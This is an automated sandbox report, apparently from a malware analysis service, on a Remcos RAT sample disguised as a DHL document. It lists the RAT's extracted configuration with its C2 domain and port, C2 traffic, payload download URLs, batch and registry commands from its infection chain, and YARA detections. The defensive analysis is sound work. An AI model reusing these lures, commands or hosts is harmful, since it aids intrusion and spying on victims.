Malware Configuration Extractor: Remcos {"Version": "3.1.5 Pro", "Host:Port:Password": "ongod4ever.ddns.net:5652:0", "Assigned name": "ABLE GOD", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "remcos.exe", "Startup value": "Remcos", "Hide file": "Disable", "Mutex": "Remcos-8VTGWT", "Keylog flag": "0", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "notepad;solitaire;", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio path": "AppData", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "20000"}

Multi AV Scanner detection for submitted file

Show sources

Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Virustotal: Detection: 26%			Perma Link
Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	ReversingLabs: Detection: 24%

Yara detected Remcos RAT

Show sources

Source: Yara match	File source: 22.2.mobsync.exe.50601a02.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mobsync.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.secinit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mobsync.exe.50601a02.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.secinit.exe.50601a02.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mobsync.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.secinit.exe.50601a02.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mobsync.exe.50601a02.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.mobsync.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.secinit.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.mobsync.exe.50601a02.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.mobsync.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.937782591.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.825096146.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.938674908.0000000002EA7000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.850111414.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.827146573.0000000003178000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.939914286.0000000050601000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.827407780.0000000050601000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.851109980.0000000050601000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.850918949.0000000003327000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mobsync.exe PID: 1368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mobsync.exe PID: 4108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: secinit.exe PID: 6644, type: MEMORYSTR

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe

ReversingLabs: Detection: 24%

Source: mobsync.exe

Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI

Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 5_2_004170AC FindFirstFileW,FindNextFileW,RemoveDirectoryW,FindClose,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 5_2_00406176 FindFirstFileW,FindNextFileW,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_004170AC FindFirstFileW,FindNextFileW,RemoveDirectoryW,FindClose,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_00406176 FindFirstFileW,FindNextFileW,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_0040A3AF FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_0040A5CA FindFirstFileA,FindClose,FindNextFileA,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_004456A9 FindFirstFileExA,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_004077EE __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 22_2_00406930 SetEvent,ShellExecuteW,GetLogicalDriveStringsA,StrToIntA,CreateDirectoryW,GetFileAttributesW,DeleteFileW,

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: ongod4ever.ddns.net

Uses dynamic DNS services

Show sources

Source: unknown

DNS query: name: ongod4ever.ddns.net

Source: global traffic

TCP traffic: 192.168.2.4:49771 -> 185.140.53.15:5652

Source: Iqzenco.exe, 00000010.00000003.750864485.00000000007B1000.00000004.00000001.sdmp	String found in binary or memory: https://bl30uw.sn.files.1drv.com/y4mGst0byrg6Ub0CK8iKHaximJI4M7D1uUmqxfl02ZpIfKXbkyeYXQLL6P2J6UxS4Yz
Source: Iqzenco.exe, 00000010.00000003.752060770.00000000007A3000.00000004.00000001.sdmp	String found in binary or memory: https://bl30uw.sn.files.1drv.com/y4maOmpRLgEZgKpnLv-hczrMb96VqtMQDZd-m0g51QRpK-v8c65WYNUi2NOLDdGNQiU
Source: Iqzenco.exe, 00000010.00000003.750846747.00000000007A3000.00000004.00000001.sdmp	String found in binary or memory: https://bl30uw.sn.files.1drv.com/y4msI7_EyjC8cs97rdyt7ReCTl2WoedGiqx9hVOiugfpodFj4cXgoX5lAQfrGe41zrt
Source: Iqzenco.exe, 00000010.00000003.752060770.00000000007A3000.00000004.00000001.sdmp	String found in binary or memory: https://onedrive.live.com/download?cid=97429F42E815B766&resid=97429F42E815B766%21166&authkey=AFRFbbm

Source: unknown

DNS traffic detected: queries for: onedrive.live.com

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 22_2_0041242F Sleep,URLDownloadToFileW,

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 22_2_004126A5 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 22_2_004089BC GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 22_2_004126A5 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

E-Banking Fraud:

Yara detected Remcos RAT

Show sources

Source: Yara match	File source: 22.2.mobsync.exe.50601a02.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mobsync.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.secinit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mobsync.exe.50601a02.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.secinit.exe.50601a02.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mobsync.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.secinit.exe.50601a02.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.mobsync.exe.50601a02.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.mobsync.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.secinit.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.mobsync.exe.50601a02.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.mobsync.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.937782591.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.825096146.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.938674908.0000000002EA7000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.850111414.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.827146573.0000000003178000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.939914286.0000000050601000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.827407780.0000000050601000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.851109980.0000000050601000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.850918949.0000000003327000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mobsync.exe PID: 1368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mobsync.exe PID: 4108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: secinit.exe PID: 6644, type: MEMORYSTR

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 22.2.mobsync.exe.50601a02.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 5.2.mobsync.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 26.2.secinit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 5.2.mobsync.exe.50601a02.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 26.2.secinit.exe.50601a02.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 5.2.mobsync.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 26.2.secinit.exe.50601a02.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 5.2.mobsync.exe.50601a02.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 22.2.mobsync.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 26.2.secinit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 22.2.mobsync.exe.50601a02.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 22.2.mobsync.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000005.00000002.937782591.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000016.00000002.825096146.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000001A.00000002.850111414.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe

Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI

Source: 22.2.mobsync.exe.50601a02.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 5.2.mobsync.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 26.2.secinit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 5.2.mobsync.exe.50601a02.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 26.2.secinit.exe.50601a02.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 5.2.mobsync.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 26.2.secinit.exe.50601a02.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 5.2.mobsync.exe.50601a02.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 22.2.mobsync.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 26.2.secinit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 22.2.mobsync.exe.50601a02.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 22.2.mobsync.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000005.00000002.937782591.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000016.00000002.825096146.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000001A.00000002.850111414.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: C:\Users\Public\Libraries\ocnezqI.url, type: DROPPED	Matched rule: Methodology_Contains_Shortcut_OtherURIhandlers author = @itsreallynick (Nick Carr), description = Detects possible shortcut usage for .URL persistence, reference = https://twitter.com/cglyer/status/1176184798248919044, score = 27.09.2019

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 22_2_00412598 ExitWindowsEx,LoadLibraryA,GetProcAddress,

Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 5_2_0042E02D
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 5_2_004330D1
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 5_2_0043424F
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 5_2_0042220F
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 5_2_0041A3F8
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_0042E02D
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_004330D1
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_0043424F
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_0042220F
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_0041A3F8
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_004304DB
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_0044C56A
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_004335CD
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_0043E6E0
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_0044A725
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_004378EC
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_004228AD
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_004339E5
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_004229F0

Source: C:\Windows\SysWOW64\mobsync.exe	Code function: String function: 0042EDF6 appears 64 times
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: String function: 00402064 appears 87 times
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: String function: 0042F460 appears 43 times
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: String function: 004165D8 appears 37 times
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: String function: 004020B5 appears 31 times
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: String function: 00404818 appears 31 times

Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Iqzenco.exe.0.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Iqzenco.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg delete hkcu\Environment /v windir /f

Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Virustotal: Detection: 26%
Source: ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	ReversingLabs: Detection: 24%

Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe

File read: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe

Jump to behavior

Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe 'C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe'
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Process created: C:\Windows\SysWOW64\mobsync.exe C:\Windows\System32\mobsync.exe
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Trast.bat' '
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\nest.bat' '
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg delete hkcu\Environment /v windir /f
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe 'C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe'
Source: unknown	Process created: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe 'C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe'
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Process created: C:\Windows\SysWOW64\mobsync.exe C:\Windows\System32\mobsync.exe
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Process created: C:\Windows\SysWOW64\secinit.exe C:\Windows\System32\secinit.exe
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Process created: C:\Windows\SysWOW64\mobsync.exe C:\Windows\System32\mobsync.exe
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Trast.bat' '
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\Users\Public\nest.bat' '
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg delete hkcu\Environment /v windir /f
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Process created: C:\Windows\SysWOW64\mobsync.exe C:\Windows\System32\mobsync.exe
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Process created: C:\Windows\SysWOW64\secinit.exe C:\Windows\System32\secinit.exe

Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 5_2_004132F7 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,
Source: C:\Windows\SysWOW64\mobsync.exe	Code function: 22_2_004132F7 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\Iqzencolmjnhoxprppdkgkfyidrxfas[1]

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@23/10@49/2

Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Desktop\ENTREGA DE DOCUMENTOS DHL _ 27-09-21,pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Iqzenco\Iqzenco.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\mobsync.exe

Code function: 5_2_0040D1AD GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CreateMutexA,CloseHandle,

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1852:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5192:120:WilError_01
